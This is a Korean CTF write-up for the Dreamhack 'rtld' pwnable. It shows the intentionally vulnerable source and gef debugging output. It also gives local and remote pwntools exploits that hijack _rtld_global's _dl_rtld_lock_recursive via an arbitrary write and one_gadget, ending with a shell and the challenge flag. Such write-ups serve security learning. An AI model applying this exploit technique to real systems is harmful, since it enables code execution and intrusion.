[Dreamhack] rtld

Sisyphus·2022년 7월 31일
0

문제 코드

// gcc -o rtld rtld.c -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}

int main()
{
    long addr;
    long value; 

    initialize();

    printf("stdout: %p\n", stdout);

    printf("addr: ");
    scanf("%ld", &addr);

    printf("value: ");
    scanf("%ld", &value);

    *(long *)addr = value;
    return 0;
}


보호 기법

❯ checksec rtld 
[*] '/root/wargame/rtld'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled


코드 분석

  • stdout이 출력되어 libc base를 구할 수 있습니다.
  • 임의 주소 쓰기 취약점이 존재합니다.
  • 쉘을 띄워주는 get_shell() 함수가 존재합니다.

⇾ 임의 주소 쓰기 취약점을 이용해서 dl_rtld_lock_recursive를 get_shell()로 덮어 쉘을 따면 될거 같습니다.



익스플로잇 코드

libc_base, ld_base Leak

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000557c43200000 0x0000557c43201000 0x0000000000000000 r-x /root/wargame/rtld
0x0000557c43401000 0x0000557c43402000 0x0000000000001000 r-- /root/wargame/rtld
0x0000557c43402000 0x0000557c43403000 0x0000000000002000 rw- /root/wargame/rtld
0x00007f3778981000 0x00007f3778b41000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f3778b41000 0x00007f3778d41000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f3778d41000 0x00007f3778d45000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f3778d45000 0x00007f3778d47000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f3778d47000 0x00007f3778d4b000 0x0000000000000000 rw- 
0x00007f3778d4b000 0x00007f3778d71000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f3778f65000 0x00007f3778f68000 0x0000000000000000 rw- 
0x00007f3778f70000 0x00007f3778f71000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f3778f71000 0x00007f3778f72000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f3778f72000 0x00007f3778f73000 0x0000000000000000 rw- 
0x00007ffcf438c000 0x00007ffcf43ad000 0x0000000000000000 rw- [stack]
0x00007ffcf43c4000 0x00007ffcf43c8000 0x0000000000000000 r-- [vvar]
0x00007ffcf43c8000 0x00007ffcf43ca000 0x0000000000000000 r-x [vdso]
gef➤  $ 0x00007f3778d4b000-0x00007f3778981000
3973120
0x3ca000

dl_load_lock, dl_rtld_lock_recursive 변수 주소 찾기

gef➤  p &_rtld_global._dl_load_lock
$1 = (__rtld_lock_recursive_t *) 0x7f3778f71948 <_rtld_global+2312>
gef➤  p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x7f3778f71f48 <_rtld_global+3848>

local.py

# local.py

from pwn import *

p = process("./rtld")
e = ELF("./rtld", checksec=False)
libc = ELF("libc.so.6")
ld = ELF("/lib/x86_64-linux-gnu/ld-2.23.so")

pie_base = p.libs()["/root/wargame/rtld"]

#context.log_level = 'debug'


p.recvuntil("stdout: ")

stdout = int(p.recvuntil("\n"), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3ca000


rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3848


get_shell = e.symbols["get_shell"] + pie_base

p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("value: ", str(get_shell))

p.interactive()

익스플로잇

❯ python3 local.py
[+] Starting local process './rtld': pid 2400
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/wargame/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/lib/x86_64-linux-gnu/ld-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$ ls
libc.so.6  local.py  remote.py    rtld  rtld.c

로컬에서 익스플로잇 코드를 실행시켜보니 쉘이 뜹니다.



익스플로잇

이제 원격 환경에서 익스플로잇 코드를 실행시켜보면

❯ python3 exploit.py 
[+] Opening connection to host3.dreamhack.games on port 11820: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/wargame/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/lib/x86_64-linux-gnu/ld-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
Traceback (most recent call last):
  File "exploit.py", line 8, in <module>
    pie_base = p.libs()["/home/rtld/rtld"]
AttributeError: 'remote' object has no attribute 'libs'
[*] Closed connection to host3.dreamhack.games port 11820

remote 객체에 libs 라는 속성이 없다고 나옵니다.
원격 환경에서는 pie_base를 leak 해주는 함수를 사용할 수 없을거 같습니다.


다른 방법으로 one_gadget을 이용한 익스플로잇 코드를 짜보면

# remote.py

from pwn import *

p = remote("host3.dreamhack.games", 11820)
e = ELF("./rtld", checksec=False)
libc = ELF("libc.so.6")
ld = ELF("/lib/x86_64-linux-gnu/ld-2.23.so")

one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

#context.log_level = 'debug'


p.recvuntil("stdout: ")

stdout = int(p.recvuntil("\n"), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3ca000


rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3848


one = libc_base + one_gadget[3]

p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("value: ", str(one))

p.interactive()

익스플로잇 코드를 실행시켜보면

❯ python3 remote.py 
[+] Opening connection to host3.dreamhack.games on port 11820: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/wargame/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/lib/x86_64-linux-gnu/ld-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
$

다행히 쉘이 뜹니다.


flag를 출력해보면

$ ls
flag
rtld
$ cat flag
DH{0f48186a16d315abba4d77ccdf507da4}

0개의 댓글